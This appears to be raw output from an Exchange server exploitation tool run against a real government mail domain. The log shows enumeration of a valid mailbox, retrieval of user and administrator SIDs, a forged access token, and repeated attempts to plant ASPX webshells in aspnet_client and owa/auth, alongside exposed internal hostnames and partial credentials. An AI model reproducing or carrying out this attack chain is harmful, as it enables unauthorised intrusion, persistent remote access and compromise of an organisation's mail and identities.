[*] get_fqdn
[*] fqdn=mvservexch16.imprenal.local
[*] get_legacydn (enumerate mailboxes)
[*] valid mailbox: subgprod@imprenta.gov.co
[*] legacydn=/o=Imprenta Nacional/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=bc3ceb160550428ebd5b7280ff70f591-Adm. S
[*] get_sid
[*] sid=S-1-5-21-412153771-2363580703-3374713077-2826 admin_sid=S-1-5-21-412153771-2363580703-3374713077-500
[*] get_token
[*] token ok (VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm...)
[*] set_ews (upload webshell into mailbox)
[*] set_ews -> <?xml version="1.0" encoding="utf-8"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/exchange/services/2006/types">a:
[*] write webshell -> aspnet_client/owyug.aspx
[*] export req submitted
[*] shell 200 but body: ''
[*] shell 200 but body: ''
[*] shell 200 but body: ''
[*] write webshell -> owa/auth/bsdsb.aspx